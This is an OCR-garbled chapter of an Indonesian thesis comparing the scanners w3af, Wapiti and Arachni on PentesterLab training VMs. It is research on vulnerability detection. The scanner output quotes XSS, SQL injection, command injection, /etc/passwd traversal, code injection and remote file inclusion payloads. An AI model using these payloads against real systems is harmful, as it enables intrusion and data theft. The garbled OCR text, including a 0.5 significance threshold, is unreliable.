Gambar 4.20 Hasil Kerentanan SQL Injection dengan tool W3af

e Authentication

Vulnerablity  [tep/80 An unidentified web application error (HTTP response code 500) was found at: "http://192.168.1.25/authentication/example6/submit".
Enable all plugins and try again, if the vulnerability still is not identified, please verify mannually and report it to the w3af developers. This
vulnerability was found in the request with id 1153.

URL : http://192.168.1.25/authentication/example6/submit
Severity : Medium

Gambar 4.21 Hasil Kerentanan Authentication dengan tool W3af

e Authorization

Starting "error300" grep workerforresponse: < hitpResponse | 200 | bttpy/192.168.1.25/authorizaton example3] | 14252 >

Gambar 4.22 Hasil Kerentanan Authorization dengan tool W3af
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e Captcha

Starting "error500" grep_worker for response: < httpResponse | 200 | hitp://192.168.1.25/captcha/example6/ | id:30 >

Gambar 4.23 Hasil Kerentanan Captcha dengan tool W3af

e Mongo DB Injection

Starting "errorS00" aren Worker for resoonse: < hitoResponse | 200 bt 192,468,125/ mongoddexempled | id:448 >

Gambar 4.24 Hasil Kerentanan Mongo DB Injection dengan tool W3af

4.3.1.1 Hasil Waktu Identifikasi Tool W3af

Dari identifikasi aplikasi web dengan menggunakan tool W3af penulis
melakukan pencatatan waktu identifikasi terhadap aplikasi web yang diuji dengan
web for pentester dan web for pentester 2 pada gambar yang di bawah.

Scan confi L0 | Resuts | Bxpot |
Information [ Error | search

vulnerability was found in the request with id 777.
[05/03/17 09:12:37] Cross Site Scripting was found at: "http://192.168.1.16/xss/examples.php”, using HTTP method GET. The sent data was: "namk
the request with id 804.

[05/03/17 09:12:37] Cross Site Scripting was found at: "hitp://192.168.1.16/codeexec/example3.php", using HTTP method GET. The sent data was: “new=<ScRIFT >a=/W1q9/%0Aalert(a.source)</SCRIPT >&base=Hello+amer tamer/". The modified
parameter was "new”. This vulnerability affects AL browsers. This vulnerability was found in the request with id 837.

[05/03/17 09:12:37] Cross Site Scripting was found at: “http://192.168.1.16/codeexec/example3.php", using HTTP method GET. The sent data was: “new=hacker&base=<SCrIPT >alert{"NVTZ")</SCrIPT >&pattern=/lamer/". The modified parameter was "base"
This vulnerability affects ALL browsers. This vulnerability veas found in the request vith id 857.

[05/03/17 09:12:37] Cross Site Scriping was found at: "http://192.168.1.16/xmy/example1.php", using HTTP method GET. The sent data was: “xmi="%38%21"<kvu9>=%26%78(
the request vath id 908.

[05/03/17 09:12:37] Cross Site Scripting was found at: "http://192.168.1.16/xss/example2.php", using HTTP method GET. The sent data wias: "name=<SCrIPT >alert("dcqd")</SCrIPT>". This vulnerability affects ALL browsers. This vuinerability was found in the
request with id 926.

[05/03/17 09:12:37) Cross Site Scripting was found at: *http://192.168.1.16/xs5/example6. php", using HTTP method GET. The sent data was: "name:
was found in the request iith id 954

[05/03/17 09:12:37] Cross Site Scripting was found at: http://192.168.1.16/codeexec/examples.php", using HTTP method GET. The sent data was: “name
found in the request with id 1009.

[05/03/17 09:14:22] 05 Commanding was found at: “http://192.168.1.16/commandexec/example3.php*, using HTTP method GET. The sent data w
[05/03/17 09:14:22] 05 Commanding was found at: *http://192.168.1.16/commandexec/example1.php", using HTTP method GET. The sent data was:
[05/03/17 09:14:50] Local File Inclusion was found at: "http://192.168.1.16/fleincl/example1.php", using HTTF method GET. The sent data was:
[05/03/17 09:14:50] Local File Inclusion was found at: *http://192.168.1.16/fleinc//example2.php", using HTTP method GET. The sent data was:
[05/03/17 09:14:50] Local File Inclusion was found at: *httpi//152.168.1.16/dirtrav/example3. php", using HTTP method GET. The sent data was: *i
3527.

[05/03/17 09:14:50] Local File Inclusion was found at: *http://192.168.1.16/dirtrav/example1.php, using HTTP method GET. The sent data wias: / Aok od etc.vaw.a' This vulnerability was found in the request with id 3687.
[05‘03'1709 15:25] Remote file inclusion vias found at: hitp://192.168.1.16/fileincl/example1.php", using HTTP method GET. The sent data was: "pag 192.168.1 jilp . This vulnerabilty was found in the request
with id 4

lns/oJ/n 09:16:17] Scan finished in 4 minutes 20 seconds.

%38%21 " <tha>=%26%7B()%7D". This vulnerabilty affects ALL browsers. This vulnerabilty was found in

70" This vulnerability affects ALL browsers. This vuinerability was found in

SCRIPT >a=/3H8g/S%0Adlert(a.source) </SCRIPT >". This vulnerabilty affects AL browsers. This vulnerabilty

9638521 <cFz>=926%78()%70". This vuinerabilty affects ALL browsers. This vuinerability was

=%7Cping+c+9+ocalhost”. This vuinerabilty vias found in the request with id 2138,
%7(pmg> (-G'hmlhci‘) ths wuinerability was found in the request with id 2149.

Jetc/passwd®. This vulnerability was found in the request with id 3067.
Jetc/passd%00”. This vulnerability was found in the request with id 3267.
Jete/passwd%00.htmi". This vulnerability was found in the request with id

Gambar 4.25 Hasil Identifikasi Waktu Web For Pentester

Scan conig L0 | Resuits | Explot |

[05/03/17 09:22:33] A SQL error was found in the response supplied by the web application, the error is (only a fragment is shovin): "SELECT * FROM *. The error wias found on response wih id 6777.

[05/03/17 09:22:33] A SQL error was found in the response supplied by the web application, the error is (only a fragment is shown): "You have an error in your SQL syntax;". The eror was found on response vith id 6778.

[05/03/17 09:22:33] A SQL error was found in the response supplied by the web application, the error is (only a fragment is shown): "MySQL server version for the right syntax to use". The error was found on response vath id 6778,

[05/03/17 09:22:33] A SQL error was found in the response supplied by the web application, the error is (only a fragment is shown): "SELECT = FROM ", The error was found on response with id 6778.

[05/03/17 09:22:38] SQL injection in a MySQL database veas found at: “hitp://192.168.1.9/sqlinjection/example1,", using HTTP method GET. The sent data was: "username=('2'08password=FrAmE30.&submit=", The modified parameter was "username”. This
vulnerability was found in the request with id 6660.

[05/03/17 09:22:38] SQL injection in a MySQL database wias found at: "http://192.168.1.9/sqlinjection/example1/", using HTTP method GET. The sent data was: *username=John82128password=d'z"0&submit=". The modified parameter was "password". This
vulnerability was found in the request with id 6661

[05/03/17 09:22:38] SQL injection in a MySQL database was found at: hitp://192.168.1.9/sqlinjection/examples;”, using HTTF method GET. The sent data was:
[05/03/17 09:22:38] SQL injection in a MySQL database wias found at: hitp://192.168.1.9/sqlinjection/example6", using HTTP method GET. The sent data was: *
{05/0317 09:2:39] SQL nection B & MYSQL daisbase wes found o: Te: , using HTTP method GET. The sent data was:
[05/03/17 09:22:36] SQL injection in a MySQL database vias found using HTTP method GET. The sent data was:
[05/03/17 09:22:38] SQL injection in a MySQL database vias found at: 'mp //192.168.1.9/sqlinjection/example2/", using HTTP method GET. The sent data was:
vulnerability was found in the request with id 6777.

[05/03/17 09:22:38] SQL injection in a MySQL database wias found at: “hitp://192.168.1.9/sqlinjection/example2/”, using HTTP method GET. The sent data was: *username=John82128password=d'z"08submit=". The modified parameter vas "password". This
vulnerability vas found in the request with id 6778.

[05/03/17 09:22:38] An unidentfied weeb application error (HTTP response code 500) was found at: *hitp://192.168.1.9/massassign/example2/signup”. Enable all plugins and try again, If the vulnerability stil s not identified, please verify mannually and report it to
the w3af developers. This vuinerability was found I the request with id 457.

(05/03/17 09:22:38] An unidentified veeb application error (HTTP response code 500) was found at: "http://192.168.1
1t 1o the w3af developers. This vulnerability was found in the request with id 673,

(05/03/17 03:22:38] An uidndied web apphcaton errr (MTTP response code S00) was found a: p:/f152:1681.9/maseassir axample2/ pdate_profk”. Ensble: o pigns d ry egei, I e vulnerability stil is not identfied, please verity mannually and
report It to the w3af developers. This vulnerability was found in the request vith id 6

[05/03/17 09:22:38] An unidentified web application error (HTTP response code son) was found at: "http://192.168.1.9/authentication/ examples/submit”, Enable all plugins and try again, If the vuinerability stil is not identified, please verify mannually and report it
to the w3af developers. This vuinerability was found in the request with id 862

[05/03/17 09:22:38) Scan finished in 3 minutes 53 seconds.

0", This vulnerability was found in the request vith id 6686,

10", This vulnerability was found in the request with id 6696.

20", This vulnerability was found in the request vith id 6755.

12°0". This vulnerability vias found in the request with id 6769.
‘08&password=FrAmE30.&submit=". The modified parameter was “username". This

massassign/example2/edit_profile". Enable all plugins and try again, if the vulnerability stil s not identified, please verify mannually and report

Gambar 4.26 Hasil Identifikasi Waktu Web For Pentester 2
Berdasarkan hasil waktu Identifikasi dari tool w3af pada tabel berikut

' Search

Aplikasi Web Waktu

Web For Pentester 00.04.20

Web For Pentester 2 00.03.53

Tabel 4.1 Hasil Waktu Identifikasi Tool/ W3af
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Tabel 4.0 menunjukkan hasil dari waktu identifikasi dengan tool w3af pada
aplikasi web challenge web for pentester dengan waktu 00.04.20 sedangkan pada
web for pentester 2 mendapatkan waktu identifikasi sekitar 00.03.53.

4.3.2 Hasil Pengujian Otomatis Wapiti

Hasil dari scanning web for pentester di sini dengan menggunakan Wapiti telah
mendeteksi beberapa jenis vulnerability tersebut dibawah ini :

Wapiti vulnerability report for 192.168.1.16

Summary

Category Number of vulnerabilities found
Cross Site Scripting 15

Htaccess Bypass 0

Backup file 0

SOL Injection 1

Blind SQL Injection 9

File Handling 6

Potentially dangerous file 0

CRLF Injection 0

Commands execution 8

Resource consumption 0

Internal Server Error 0

Gambar 4.27 Hasil Pengujian Otomatis Wapiti Web for pentester
e XSS

Vulnerability found in /xss/examplel.php

Description =~ HTTPRequest  cURL command line
GET /xss/examplel.php?name=%3Cscript¥%3Ealert%28%27wwn5uiqu5h%27%29%3C%2Fscript%3E HTTP/1.1
Host: 192.168.1.35

Gambar 4.28 Hasil Kerentanan XSS dengan tool Wapiti

e SQL Injection
Vulnerability found in /sqli/examplel.php

Description HTTP Request cURL command line

GET /sqli/examplel.php?name=%27%200r%20sleep¥287%29%231 HTTP/1.1
Host: 192.168.1.35

Gambar 4.29 Hasil Kerentanan SQL Injection dengan tool Wapiti
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e File Include
Vulnerability found in /fileincl/examplel.php

Description HTTP Request  cURL command line

GET /fileincl/examplel.php?page=%3Cscript%3Ealert%28%27wtjlkkqfh2%27%29%3C%2Fscript%3E HTTP/1.1
Host: 192.168.1.35

Gambar 4.30 Hasil Kerentanan File Include dengan tool Wapiti
e Command Injection

Vulnerability found in /commandexec/examplel.php

Description HTTP Request cURL command line

GET /commandexec/examplel.php?ip=%3Benv HTTP/1.1
Host: 192.168.1.35

Gambar 4.31 Hasil Kerentanan Command Injection dengan tool Wapiti
Selanjutnya setelah mendapatkan hasil dari web for pentester adalah melakukan
proses scanning pada website web for pentester 2 :

Wapiti vulnerability report for 192.168.1.39

Summary

Category Number of vulnerabilities found
Cross Site Scripting 15

Htaccess Bypass 0

Backup file 0

SQL Injection 1

Blind SOQL Injection 8

File Handling 6

Potentially dangerous file 0

CRLF Injection 0

Commands execution 8

Internal Server Error o

Gambar 4.32 Hasil Pengujian Otomatis Wapiti Web for pentester 2

Hasil dari scanning web for pentester 2 di sini dengan menggunakan Wapiti telah
mendeteksi beberapa jenis vulnerability tersebut yaitu :
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e Authentication
Anomaly found in /authentication/example5/submit

Description HTTP Request ~ cURL command line

The server responded with a 500 HTTP error code while attempting to inject a payload in the query string

GET /authentication/example5/submit?%BF%27%22%28 HTTP/1.1
Host: 192.168.1.34

curl "http://192.168.1.34/authentication/example5/submit?%BF%27%22%28"

Gambar 4.33 Hasil Kerentanan Authentication dengan tool Wapiti

e Authorization
Anomaly found in /authorization/examplel/

Description HTTP Request cURL command line

The server responded with a 500 HTTP error code while attempting to inject a payload in the query string

GET /authorization/examplel/?%BF%27%22%28 HTTP/1.1
Host: 192.168.1.34

curl "http://192.168.1.34/authorization/examplel/?%BF%27%22%28"
Gambar 4.34 Hasil Kerentanan Authorization dengan tool Wapiti

e Captcha
Anomaly found in /captcha/examplel/submit

Description HTTP Request cURL command line

The server responded with a 500 HTTP error code while attempting to inject a payload in the query string

GET /captcha/examplel/submit?%BF%27%22%28 HTTP/1.1
Host: 192.168.1.34

curl "http://192.168.1.34/captcha/examplel/submit?%BF%27%22%28"

Gambar 4.35 Hasil Kerentanan Captcha dengan tool Wapiti
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Directory Traversal

Vulnerability found in /dirtrav/examplel.php

Description HTTP Request cURL command line

GET /dirtrav/examplel.php?file=..%2F..%2F. . %2F..%2F. . %2F. .%2F. . %2F. . %2F. .%2F. . %2Fetc¥%2Fpasswd HTTP/1.1
Host: 192.168.1.35

Gambar 4.36 Hasil Kerentanan Directory Traversal dengan tool Wapiti
Code Injection

Vulnerability found in /codeexec/examplel.php

Description HTTP Request cURL command line

GET /codeexec/examplel.php?name=%22%3Bexit%28base6d_decode®28%27dzRwMXQxX2V2YWWH3DH%27%20%20%3B%2F%2F HTTP/1.1
Host: 192.168.1.35

Gambar 4.37 Hasil Kerentanan Code Injection dengan tool Wapiti
Mongo DB Injection
Vulnerability found in /mongodb/examplel/

Description HTTP Request cURL command line

GET /mongodb/examplel/?password=letmein&submit=submit&username=sleep%287%29%231 HTTP/1.1
Host: 192.168.1.34

Gambar 4.38 Hasil Kerentanan Mongo DB Injection dengan tool Wapiti
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4.3.2.1 Hasil Waktu Identifikasi Tool Wapiti

Dari identifikasi aplikasi web dengan menggunakan tool Wapiti penulis
melakukan pencatatan waktu identifikasi terhadap aplikasi web yang diuji dengan
web for pentester dan web for pentester 2 pada gambar yang di bawah.

Date of the scan: Mon, 03 Oct 2016 06:36:29 +0000.
Scope of the web scanner : folderfolder

Summary

Category Number of valnerabilities found
Cross Site Scripting 15
Htaccess Bypass 0

Backup file
SQL Injection

Blind SQL Injection
File Handling

0
1
8
6
Potentially dangerous file 0
CRLF Injection 0
Commands execution 8
2
0

15

Resource consumption
Internal Server Error

Cross Site Seripting
Gambar 4.39 Hasil Identifikasi Waktu Web For Pentester

Date of the scan: Mon, 03 Oct 2016 04:03:40 +0000.
Scope of the web scanner : folderfolder

Summary
Category Number of vulnerabilities found

Cross Site Scripting 0

Htaccess Bypass 0

Backup file 0

SQL Injection 0

Blind SQL Injection 15

File Handling 0

Potentially dangerous file 0

CRLF Injection 0

Commands execution 0
Resource consumption

Ga

0
Internal Server Error 63
Cross Site Scripting 0
Htaccess Bypass 0
Backup file 0
SQL Injection 0

1

Blind SQL Injection

n

Gambar 4.40 Hasil Identifikasi Waktu Web For Pentester

Berdasarkan hasil waktu Identifikasi dari tool Wapiti pada tabel berikut :

Aplikasi Web Waktu
Web For Pentester 00.06.36
Web For Pentester 2 00.04.03

Tabel 4.2 Hasil Waktu Identifikasi Tool Wapiti
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Tabel 4.2 menunjukkan hasil dari waktu identifikasi dengan tool Wapiti
pada aplikasi web challenge web for pentester dengan waktu 00.06.36 sedangkan
pada web for pentester 2 mendapatkan waktu identifikasi sekitar 00.04.03.

4.3.3 Hasil Pengujian Otomatis Arachni

Setelah semua proses scanning berhasi dijalankan maka hasil dari identifikasi
pada Arachni scanner bisa di liat dan di export melaluit HTML, XML, JSON, dan lain-
lain :

wEe ¥ A9 =

€ @ localhost € ||Q sea

& Administrator

e 1~

Remote File Inclusion 2

Web applications occasionally use parameter values to store the location of a file which wil later be
required by the server.

Reset Showal | Hide al

An example of this is often seen in error pages, where the actual file path for the error page is
stored in a parameter value — for example example.com/error.php?page=404.php .

A remote file inclusion occurs when the parameter value (ie. path to file being called by the server)

can be substituted with the address of remote resource — for example:

Remoe File Inclusion 2
yoursite.con/error.asp?page=http: //anothersite.com/sonethingBad. php

XPath Injection 1
Cross-Site Scripting (XSS) 10

Cross-Site Scripting (XSS) in 2

In some cases, the server will process the feiched resource; therefore, if the resource contains
server-side code matching that of the framework being used (ASP, PHP, JSP, efc.), it is probable
that the resource will be executed as if it were part of the web application.

EEmhEED 1 Arachni discovered that it was possible to substitute a parameter value with an external resource

File Inclusion 2 and have the server fetch it and include its contents in the response.

Operating system command { (CWE)

Path Traversal a

Blind SQL Injection (different 3 -

A S g hitp://192.168.1.5/fileincliexample.php page Link
Operating system command { ﬂ http://192.168.1.5/ileincl/example2.php page Link

Code Injection (timing attack” 2

XPath Injection 1

XML Path Language (XPath) queries are used by web applications for selecting nodes from XML
documents. Once selected, the value of these nodes can then be used by the application.

Gommon directory 3

A simple example for the use of XML documents is to sEvs user mmvmangn, As part of the
Gambar 4.41 Hasil Pengujian Otomatis Arachni Web for pentester

Hasil dari scanning web for pentester di sini dengan menggunakan Wapiti telah
mendeteksi beberapa jenis vulnerability tersebut yaitu :

o XSS

9% Affected page: http://192.168.1.84/xss/examplel.php?name=hacker%3cCsome_dangerous_input_1214c6b170@8aceabafes22238fb12bc/%3E

HTTP request HTTP response

GET /xss/examplel.php?name=hacker¥3Csome_dangerous_input_1214c6b1700Bace9b3fe922238fb12bcR2FXIE E
Host: 192.168.1.84
Accept-Encoding: grip, deflate ¢div class="container">

Agent: Arachni/vl.4

: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=08.8,he;q=0.6
<html>

Hello
hacker<some_dangerous_input_1214c6b17008acedbofe922238b12bc/>
<footer>
<p>Bcopy; Pentesterlab 2013</p>
</footer>

</div> <I-- /container -->

</body>
</html>

Gambar 4.42 Hasil Kerentanan XSS dengan tool Arachni
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e SQL Injection

% Vector information

e
Type Action Defaultinputs Updated inputs
% Affected page: http://192.168.1.85/sqlinjection/examplel/ username=arachni_nameRpassword=55431%25arachni_secrat®22 ' ¥60--Bsubmit=
ng ;:u. deflate
User-Agent: Arachni,
A ext/htnl, ap xal, application/xnl;q-0.9,%/*;q-0.8 Mysql2: :Error: You! NVe B4 SRAGH 16 OUR SO SYALAX; check the manual that corresponds to you
p
Gambar 4.43 Hasil Kerentanan SQL Injection dengan tool Arachni

e Code Injection

% Affected page: http

HTTP

request

2.168.1.84/codeexec/examplel. php2name=%22; print%2028763%4196

;%23

HTTP response

GET /codeexec/exanplel. php?name=%22%38print%2028763%2A4196403%36%23 HTTP/1.
Host: 192.168.1.84

Accept-Encoding: gzip, deflate

Usen-Agent: Arachni/vl.4

Accept: xnl, application/xnl;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;

% Affected page:

1//192.168.1.84/dirtrav/examp c/passwd

HTTP request HTTP response

TTP ed o retrieve g Raw HTTP respon
GET /dirtrav/examplel.php?file=%2F..X2F. . %2F . . X2FX2FetcX2Fpasswd HTTP/1.1 HTTP/1.1 200 O}
Host: 192.168.1.84 Date: Mon, 02
Accept-Encodin Server: Apach
User-Agent: / X-Powered-By
Accept: text/htnl,a application/xnl;q=0.9,*/*;q=0.8 Cache-Control
Accept-Language: en-US,en;q=0.8,he;q=0.6 Content-Dispos

Hello 120761139
<p>hcop;
</footer>

</div> <!

</body>
</html>

Gambar 4.44 Hasil Kerentanan Code Injection dengan tool Arachni

Directory Traversal

Content-Trans:

Vary: Accept-
Content-Encodi
Content-Length

Content-Type

root:x:0:0:r00

daemon:x

mail:x:8:8:ma

Gambar 4.45 Hasil Kerentanan Directory Traversal dengan tool Arachni
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:60: ganes: /usn/ gan

<1--/.nav-collapse -->

<div class="container">

489 <footer:
ab 2013¢/p>

y; Penteste

Jcontainer -->

K
May 2016 16:41:18 GHT
2.16 (Debian)

P/5.3.3- T4squeezel’

P

public

on: inline; filename="passu
Encoding: binary

ncoding

ng: gzip

: 415

text/html

t:/root: /bin/bash
usr/sbin: /bin/sh

/sh

n: /b

/cache/man:
spool/1pd: /bin/sh

var/nail: fbin/sh

MySQL serv.



e Command Injection

% Affected page: http://192.168.1.84/commandexec/example3. php?ip=¥60%205]eept2016%60

HTTP request HTTP response

c/exanple3. php? ip=460%201eepk2016%60 HTTP/1.1
8.1.84

geip, deflate

Arachni/v1.4

ication/xhtml+xnl, application/xnl;q
=0.8,he;q=0.6

http://192.168.1.38/-5... %

Scans [l ~ & Administrator

ToG

SQL Injection 7

Due to the requirement for dynamic content of today's web applications, many rely on a database
backend to store data that will be called upon and processed by the web application (or other
programs). Web applications retrieve data from the database by using Structured Query Language
(SQL) queries

Reset | Showall | Hide al

Informational 14

NA

ATETC
SOL Injection

Blind NoSQL Injestion (differen’ 2
Code injection (liming atlack) 3
Cross-Sile Request Forgery 1

Unencrypled password form 21

To meet demands of many developers, database servers (such as MSSQL, MySQL., Oracle etc.)
have additional built-in functionality that can allow extensive control of the database and interaction
with the host operating system itself.

An SQL injection occurs when a value originating from the client's request is used within a SQL
query without prior sanitisation. This could allow cyber-criminals to execute arbitrary SQL code and
steal data or use the additional functionality of the database server to take control of more server
components

The successful exploitation of a SQL injection can be devastating to an organisation and is one of

the most commonly exploited web application vulnerabilties

This injection was detected as Arachni was able to cause the server to respond to the request with
a database related error.
E-mail address disclosure

(CWE)

Interesting response

CAPTCHA protected form |

Hitponly cookio [ nto192.168.1.38 sqlinjection/example’. id Link
B ntp/192.168.1.38/sqlinjection/examples; group Link
B nttp/192.168.1 38/sqlinjection/example4 req Link
B ntip/192.168.1.38/sqlinjection/example username Form
B ntipr192.168.1.38/sqlinjection/example2 password Form

Gambar 4.47 Hasil Pengujian Otomatis Arachni Web for pentester 2

Hasil dari scanning web for pentester 2 di sini dengan menggunakan Wapiti telah
mendeteksi beberapa jenis vulnerability tersebut :

e Captcha

% Affected page: http://192.168.1.85/captcha/exanple

HTTP request HTTP response

<Jdivs

GET /captcha/exanple3/ HTTP/1.1

</div>

<div class="container”>

2*1*9-0.8

it” action="get">

119298641
<img src="captcha. png?t=1462206611

Answer: <input type-"text" name-"cap!

¢footer>

<pohcopy; Pent

ooter>

</div> <1-- /container -->

Gambar 4.48 Hasil Kerentanan Captcha dengan tool Arachni
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e Authentication

% Affected page: http://192.168.1.85/authentication/examplel/

HTTP request

HTTP response

GET /authentication/examplel/ MTTP/1.1

WTTP/1.1 461 Authorization Required
22

23:25 GNT

jcharset-utt &

Gambar 4.49 Hasil Kerentanan Authentication dengan tool Arachni
]

Authorization

% Affected page: http

HTTP request

HTTP response

wing user: userl with the

Gambar 4.50 Hasil Kerentanan Authorization dengan tool Arachni
e Mongo DB

% Affected page: http://192.168.1.55/mongodh/example
HTTP request

49363915084a5a917528p

HTTP response

ername=hacker_arachni_trainer_720f8b3b7c2849363915084af5a917528password=hacker HTTP
deflate

iTTP/1.1 208 OK

<IDOCTYPE html.

<html lang="en">

Gambar 4.51 Hasil Kerentanan Mongo DB dengan tool Arachni
e File Include

% Affected page: http://192.168.1.84/Fileincl/example2.php?page=http: //tests.arachni-scanner. con/rfi.nds. tx
HTTP request

HTTP response

ncl/examplel. php?page=http%3A%2F%2F tests . arachni-scanner . con%2Frfi.mds. t
168.1.84

xt HTTP/1.1

application/xml;q=0.9,%/
Language: en-US,en

</htnl>

Gambar 4.52 Hasil Kerentanan File Include dengan tool Arachni
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Setelah mengetahui hasil tersebut pada proses hasil identifikasi uji penetrasi pada
tool yang ditetapkan maka dilakukan perbandingan dengan menggunakan tabel
yang akan melihat tool mana saja yang dapat melakukan scanning terhadap pada
vulnerability aplikasi web www.pentesterlab.com.

4.3.3.1 Hasil Waktu Identifikasi Tool Arachni

Dari identifikasi aplikasi web dengan menggunakan tool Arachni penulis
melakukan pencatatan waktu identifikasi terhadap aplikasi web yang diuji dengan
web for pentester dan web for pentester 2 pada gambar dibawah.

http://192.168.1.84/

Summary

Cherts ssues OWASP Top 10

Issues

Gambar 4.53 Hasil Identifikasi Waktu Arachni Web For Pentester

http://192.168.1.85/

Summary

Charts ssues OWASP Top 10

Issues

Gambar 4.54 Hasil Identifikasi Waktu Arachni Web For Pentester 2

Berdasarkan hasil waktu Identifikasi dari tool Arachni pada tabel berikut :

Aplikasi Web Waktu
Web For Pentester 00.29.20
Web For Pentester 2 00.28.11

Tabel 4.3 Hasil Waktu Identifikasi Tool Arachni

Tabel 4.3 menunjukkan hasil dari waktu identifikasi dengan tool Arachni
pada aplikasi web challenge web for pentester dengan waktu 00.29.20 sedangkan
pada web for pentester 2 mendapatkan waktu identifikasi sekitar 00.28.11.
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Pengujian One-Way ANOVA dari hasil pengujian waktu pemrosesan untuk
aplikasi web dari tool w3af, wapiti, dan arachni.

Untuk melihat apakah ada perbedaan yang signifikan dari data hasil
pengujian waktu pemrosesan untuk aplikasi web dari web for pentester dan web
for pentester 2. Hal ini dikarenakan One-Way ANOVA bisa digunakan untuk data
yang lebih dari dua kelompok independen. Hasil pengujian One-Way ANOVA untuk
data dari hasil pengujian waktu pemrosesan untuk aplikasi web dari web for
pentester 1 dan web for pentester 2 untuk semua karakter dapat dilihat pada tabel
4.4

ANOVA
Waktu
Sum of Squares df Mean Square F Sig.
Between Groups 2779737.333 2 1389868.667 288.564 .000
Within Groups 14449.500 3 4816.500
Total 2794186.833 5

Tabel 4.4 One-Way ANOVA web for pentester dan web
for pentester2.

Ketentuan pengambilan keputusan didasarkan pada ketentuan sebagai berikut:
Hipotesis:

HO: Tidak ada perbedaan yang signifikan antara waktu pengujian waktu

pemrosesan pada tool uji penetrasi w3af, wapit, dan arachni

H1: Terdapat perbedaan yang signifikan antara waktu pengujian

pemrosesan pada tool uji penetrasi w3af, wapit, dan arachni
Kriteria keputusan:

a. lJika probabilitas (Sig.) > 0,5 maka HO diterima

b. lJika probabilitas (sig.) < 0,5 maka HO ditolak

Diketahui nilai sig. dari hasil perhitungan One-Way ANOVA dari hasil pengujian
waktu pemrosesan untuk web for pentester dan web for pentester 2 untuk semua
jumlah karakter adalah 0,000, maka HO ditolak. Artinya adanya perbedaan yang
signifikan antara pengujian waktu pemrosesan untuk perbandingan tool uji
penetrasi w3af, wapiti, dan arachni.

waktu

4.3.4 Hasil Tabel Pengujian Otomatis

Pengechekan terhadap vulnerabilty web for pentester dan web for pentester 2
dengan menggunakan tabel agar bisa mengetahui tool mana saja yang dapat
menemukan keretanan dengan hasil yang baik. Berikut hasil tabel uji penetrasi
dengan 5 kali percobaan aplikasi web www.pentesterlab.com :

PERCOBAAN 1

VULNERABILTIY/ APPLICATION WEB SCANNER

W3AF

ARACHNI

WAPITI

XSS

v

v

v
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SQL INJECTION v v v

DIRECTORY TRAVERSAL v v v

CODE INJECTION v v v

COMMAND INJECTION v v v

AUTHENTICATION v

AUTHORIZATION v

CAPTCHA v v

MONGO DB v v

FILE INCLUDE v v v

Tabel 4.5 Hasil Percobaan 1 pada Pengujian Otomatis

PERCOBAAN 2

VULNERABILTIY/ APPLICATION WEB SCANNER W3AF ARACHNI | WAPITI

XSS v v v

SQL INJECTION v v v

DIRECTORY TRAVERSAL v v v

CODE INJECTION v v v

COMMAND INJECTION v v v

AUTHENTICATION v

AUTHORIZATION v v

CAPTCHA v v

MONGO DB v

FILE INCLUDE v v v
Tabel 4.6 Hasil Percobaan 2 pada Pengujian Otomatis

PERCOBAAN 3

VULNERABILTIY/ APPLICATION WEB SCANNER W3AF ARACHNI | WAPITI

XSS v v v

SQL INJECTION v v v

DIRECTORY TRAVERSAL v v v

CODE INJECTION v v v

COMMAND INJECTION v v v

AUTHENTICATION

AUTHORIZATION v

CAPTCHA v v

MONGO DB v
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FILE INCLUDE v ’ v v
Tabel 4.7 Hasil Percobaan 3 pada Pengujian Otomatis

PERCOBAAN 4

VULNERABILTIY/ APPLICATION WEB SCANNER W3AF ARACHNI | WAPITI

XSS v v v

SQL INJECTION v v v

DIRECTORY TRAVERSAL v v v

CODE INJECTION v v v

COMMAND INJECTION v v v

AUTHENTICATION

AUTHORIZATION

CAPTCHA v v

MONGO DB v v

FILE INCLUDE v v
Tabel 4.8 Hasil Percobaan 4 pada Pengujian Otomatis

PERCOBAAN 5

VULNERABILTIY/ APPLICATION WEB SCANNER W3AF ARACHNI | WAPITI

XSS v v v

SQL INJECTION v v v

DIRECTORY TRAVERSAL v v v

CODE INJECTION v v v

COMMAND INJECTION v v v

AUTHENTICATION v

AUTHORIZATION

CAPTCHA v v

MONGO DB v v

FILE INCLUDE v v v

Tabel 4.9 Hasil Percobaan 5 pada Pengujian Otomatis

Dari Tabel 4.1 hingga tabel 4.5 Ini adalah hasil dari tabel pengujian penetration
testing tool sebanyak 5 kali pada aplikasi web www.pentesterlab.com pada tool
W3af,Arachni,dan Wapiti dapat diketahui dari tabel tersebut adalah bahwa tool
Arachni lebih banyak mendapatkan hasil vulnerabilty dari ke dua tool yang telah
diuji. Arachni juga sebenarnya memiliki kelebihan pada uji penetrasi yaitu dapat
mengidentifikasi aplikasi web dengan menampilkan hasil scan yang lebih teknis
sedangkan hasil dari Wapiti dan W3af sendiri tidak terlalu banyak mendapatkan
hasil scanning dari web www.pentesterlab.com. Wapiti dan W3af hanya mampu
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dapat mendeteksi kerentanan seperti XSS, SQL Injection, Directory Traversal,
Command Injection,dan File Include. Wapiti dan W3af juga memungkinkan penguiji
untuk mengaudit keamanan aplikasi web yang diuji,dan melakukan “black-box”
scan,yaitu tidak dapat mengetahui sumber kode dari aplikasi tetapi akan
melakukan scan halaman aplikasi yang dituju,dan mencari script dan bentuk
dimana dapat memasukkan data.
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BAB 5
PEMBAHASAN

Pada bab 5 ini dilakukan analisis dan pembahasan secara menyeluruh
terhadap hasil yang telah didapat pada proses analisa perbandingan penetration
testing tool untuk aplikasi web www.pentesterlab.com. Hasil yang telah didapat
pengujian tersebut dengan melalui proses secara manual yaitu dengan meyerang
langsung challenge yang ada dari aplikasi web www.pentesterlab.com dengan
mengetahui kerentanan apa saja yang dapat di ketahui pada aplikasi web
www.pentesterlab.com tersebut, pada parameter yang dituju dengan celah
kemana yang di uji langsung seperti XSS,SQL Injection, Directory Traversal,
Authentication, Captcha, Authorization, Mongo DB injection, File Include, Code
Injection, dan Command Injection. Serta pengujian otomatis secara otomatis yang
dilakukan dengan bantuan software W3af, Wapiti, dan Arachni untu mengetahui
celah keamanan yang tidak dapat terdeteksi saat proses pengujian secara manual
untuk menemukan celah keamanan vyang terdapat pada aplikasi web
www.pentesterlab.com.

5.1 Pembahasan Pengujian

Pada bagian ini dilakukan pembahasan terhadap hasil yang didapat pada
pengujian celah keamanan secara manual dan otomatis. Pada hasil celah
keamanan yang didapat pada bab sebelumnya telah diketahui bahwa terdapat
beberapa celah keamanan yang terdeteksi dari pengujian manual dan otomatis
terhadap web for pentester 1 dan web for pentester 2 yang telah di uji yang
dijelaskan pada sub-bab berikut.

5.1.1 XSS

5.1.1.1 Pengujian Manual

